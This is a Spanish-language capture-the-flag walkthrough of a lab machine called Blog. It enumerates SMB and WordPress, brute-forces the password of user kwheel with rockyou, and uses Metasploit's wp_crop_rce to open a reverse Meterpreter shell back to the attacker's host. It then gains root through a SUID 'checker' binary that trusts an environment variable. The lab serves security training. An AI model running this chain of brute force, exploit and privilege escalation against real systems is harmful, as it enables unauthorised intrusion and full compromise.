



Write-up paso a paso – Máquina Blog

Objetivo: Comprometer el servidor WordPress, obtener acceso como www-data y escalar privilegios hasta root.

0. Preparación (Resolución DNS)

Se añade el dominio al archivo /etc/hosts:

```
sudo nano /etc/hosts
```

Agregar:

```
10.81.182.55 blog.thm
```

A screenshot of a terminal window titled 'root@kali: /home/kali'. The window shows the contents of the '/etc/hosts' file being edited with the 'nano' text editor. The file contains the following entries:

```
127.0.0.1      localhost
127.0.1.1      kali
::1            localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters
10.81.182.55  blog.thm
```

1. Reconocimiento de puertos

Escaneo completo de puertos:

```
nmap -p- -open -sS -sC -sV --min-rate=5000 -n -Pn 10.81.182.55
```

Resultado

- 22/tcp – SSH
- 80/tcp – HTTP (WordPress 5.0)
- 139/445 – SMB

```
PORT      STATE SERVICE      REASON      VERSION
22/tcp    open  ssh          syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAQABAAQCB3hfVTN6e0P9PLtkjW4dy+6vpFSh1PwKRZrML7ArPz
hx1yVxBP7kxeIt3lX/qJWpxyhlsQwoLx8KDYdpOZ1X5Br1PskO6H66P+AwPMYwooSq24qC/G
xg4NX9MsH/lzoKnrgLDuaAqGS5ugLw6biXITEVbxrjBndvrT1uFR9sq+Yuc1JbkF8dxMF51t
iQF35g0Nqo+UhjmJJg73S/VI9oQtYzd2GnQC8uQxE8Vf41Zpo6ZkvTDQ7om3t/cvsnNCgwX2
8/TRcJ53unRPmos13iwIcuvtfKlrP5qIY75YvU4U9nmy3+tjqfb1e5CESMxKjKesH0IJTRhE
jAyxjQ1HUINP
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAIBmlzdHAyNTYAAABBBJtovk1nbFTPnc/1GUqC
cdh8XLsFpDxKYJd96BdYGPjEEdZGPKXv5uHnseNe1SzvLZBoYz7KNpPVQ8uShudDnOI=
|   256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
| ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAICfVpt7khg8YIghnTYju1VgqdsCRVz7f1Mi4o4Z45df8
80/tcp    open  http         syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
| _http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| _http-robots.txt: 1 disallowed entry
| _/wp-admin/
| _http-generator: WordPress 5.0
| _http-title: Billy Joe's IT Blog &#8211; The IT blog
| _http-server-header: Apache/2.4.29 (Ubuntu)
| _http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
139/tcp   open  netbios-ssn  syn-ack ttl 62 Samba smbd 3.X - 4.X
(workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  syn-ack ttl 62 Samba smbd 4.7.6-Ubuntu
(workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| p2p-conficker:
```

```
| Checking for Conficker.C or higher...
| Check 1 (port 48405/tcp): CLEAN (Couldn't connect)
| Check 2 (port 52742/tcp): CLEAN (Couldn't connect)
| Check 3 (port 41980/udp): CLEAN (Failed to receive data)
| Check 4 (port 61144/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC:
<unknown> (unknown)
| Names:
| BLOG<00>           Flags: <unique><active>
| BLOG<03>           Flags: <unique><active>
| BLOG<20>           Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00>       Flags: <group><active>
| WORKGROUP<1d>       Flags: <unique><active>
| WORKGROUP<1e>       Flags: <group><active>
| Statistics:
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb2-time:
| date: 2026-02-11T15:35:55
| start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2026-02-11T15:35:55+00:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_ clock-skew: mean: 2s, deviation: 0s, median: 1s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| message_signing: disabled (dangerous, but default)
```

2. Enumeración SMB

Enumeración de recursos compartidos:

```
smbmap -H 10.81.182.55
```

Se identifica el recurso:

- BillySMB (READ, WRITE)

Enumeración del recurso:

```
smbmap -r BillySMB -H 10.81.182.55
```

Descarga de archivos:

```
smbclient -N //10.81.182.55/BillySMB -c "mget *"
```

```
└──(root㉿kali)-[/home/kali]
└─# smbmap -H 10.81.182.55

[+] IP: 10.81.182.55:445          Name: blog.thm          Status: NULL
Session
      Disk                         Permissions
Comment
      -----
      -----
      print$                      NO ACCESS
Printer Drivers
      BillySMB                    READ, WRITE
Billy's local SMB Share
      IPC$                        NO ACCESS
IPC Service (blog server (Samba, Ubuntu))
```

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Disk                                         Permissions
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-----
-----
print$                                     NO ACCESS
Printer Drivers
BillySMB                                     READ, WRITE
Billy's local SMB Share
./BillySMB
dr--r--r--          0 Wed Feb 11 10:45:53 2026 .
dr--r--r--          0 Tue May 26 13:58:23 2020 ..
fr--r--r--          33378 Tue May 26 14:17:01 2020
Alice-White-Rabbit.jpg
fr--r--r--          1236733 Tue May 26 14:13:45 2020 tswift.mp4
fr--r--r--          3082 Tue May 26 14:13:43 2020 check-this.png
IPC$                                         NO ACCESS
IPC Service (blog server (Samba, Ubuntu))

```

```

└──(root㉿kali)-[/home/kali]
└─# smbclient -N //10.81.182.55/BillySMB -c "mget *"
Get file Alice-White-Rabbit.jpg? yes
getting file \Alice-White-Rabbit.jpg of size 33378 as
Alice-White-Rabbit.jpg (107.2 KiloBytes/sec) (average 107.2
KiloBytes/sec)
Get file tswift.mp4? yes
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (1703.5
KiloBytes/sec) (average 1224.4 KiloBytes/sec)
Get file check-this.png? yes
getting file \check-this.png of size 3082 as check-this.png (17.1
KiloBytes/sec) (average 1045.7 KiloBytes/sec)

```

3. Análisis del sitio web

Identificación de tecnologías:

```
whatweb http://blog.thm
```

Se confirma WordPress 5.0.

```
└─(root㉿kali)-[/home/kali]
└─# whatweb http://blog.thm
http://blog.thm [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.81.182.55],
MetaGenerator[WordPress 5.0],
PoweredBy[-wordpress,-wordpress,,WordPress,WordPress,],
Script[text/javascript], Title[Billy Joel's IT Blog &#8211; The IT
blog], UncommonHeaders[link], WordPress[5.0]
```

4. Enumeración WordPress

Enumeración con WPScan:

```
wpscan --url http://10.81.182.55/ -e vp,vt,u
```

Usuarios identificados:

- bjoel
- kwheel

```
[i] User(s) Identified:

[+] bjoel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.81.182.55/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] kwheel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.81.182.55/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
```

5. Fuerza bruta de credenciales

Ataque contra usuario kwheel:

```
wpscan --url http://10.81.182.55/ -U kwheel -P
/usr/share/wordlists/rockyou.txt
```

Credenciales válidas encontradas:

- Usuario: kwheel
- Password: cutiepie1

```
[!] Valid Combinations Found:  
| Username: kwheel, Password: cutiepie1
```

6. Explotación – wp_crop_rce

Uso de Metasploit:

```
msfconsole  
use exploit/multi/http/wp_crop_rce  
set RHOSTS 10.81.182.55  
set USERNAME kwheel  
set PASSWORD cutiepie1  
run
```

Se obtiene sesión Meterpreter como www-data.

```
msf exploit(multi/http/wp_crop_rce) > run  
[*] Started reverse TCP handler on 192.168.185.179:4444  
[*] Authenticating with WordPress using kwheel:cutiepie1...  
[+] Authenticated with WordPress  
[*] Preparing payload...  
[*] Uploading payload  
[+] Image uploaded  
[*] Including into theme  
[*] Sending stage (42137 bytes) to 10.81.182.55  
[*] Attempting to clean up files...  
[*] Meterpreter session 1 opened (192.168.185.179:4444 ->  
10.81.182.55:42868) at 2026-02-11 11:16:52 -0500  
  
meterpreter >
```

```
meterpreter > getuid  
Server username: www-data pentester  
meterpreter > shell  
Process 1908 created.  
Channel 6 created.  
script /dev/null -c bash  
Script started, file is /dev/null
```

7. Enumeración interna

Búsqueda de archivos interesantes:

```
find / -name user.txt 2>/dev/null
```

```
cat /home/bjoel/user.txt
```

```
www-data@blog:/home/bjoel$ cat user.txt  
cat user.txt  
You won't find what you're looking for here.  
  
TRY HARDER
```

8. Enumeración de binarios SUID

```
find / -uid 0 -perm -4000 -type f 2>/dev/null
```

Se identifica binario sospechoso:

- /usr/sbin/checker

9. Análisis del binario checker

Ejecución directa:

/usr/sbin/checker

Muestra: "Not an Admin"

Análisis con ltrace:

```
ltrace /usr/sbin/checker
```

Se observa llamada a `getenv("admin")`.

```
www-data@blog:/home/bjoel$ ltrace /usr/sbin/checker
ltrace /usr/sbin/checker
getenv("admin") = nil
puts("Not an Admin")Not an Admin
) = 13
+++ exited (status 0) +++
```

10. Escalada de privilegios

Definimos variable de entorno:

```
export admin=pwnd  
/usr/sbin/checker
```

Se obtiene shell root.

Verificación: whoami

```
www-data@blog:/home/bjoel$ export admin=pwnd  
export admin=pwnd  
www-data@blog:/home/bjoel$ /usr/sbin/checker  
/usr/sbin/checker  
root@blog:/home/bjoel# whoami  
whoami  
root
```

11. Obtención de flag final

```
cat /root/root.txt
```

```
root@blog:/home/bjoel# cd /root  
cd /root  
root@blog:/root# ls  
ls  
root.txt  
root@blog:/root# cat root.txt  
cat root.txt  
9a0b2b618bef9bf9*****
```

Conclusión

La máquina fue comprometida completamente mediante:

- Enumeración y fuerza bruta sobre WordPress.
- Explotación remota con Metasploit.
- Escalada de privilegios mediante binario SUID vulnerable.

Este laboratorio demuestra cómo la combinación de contraseñas débiles y configuraciones inseguras puede conducir a un compromiso total del sistema.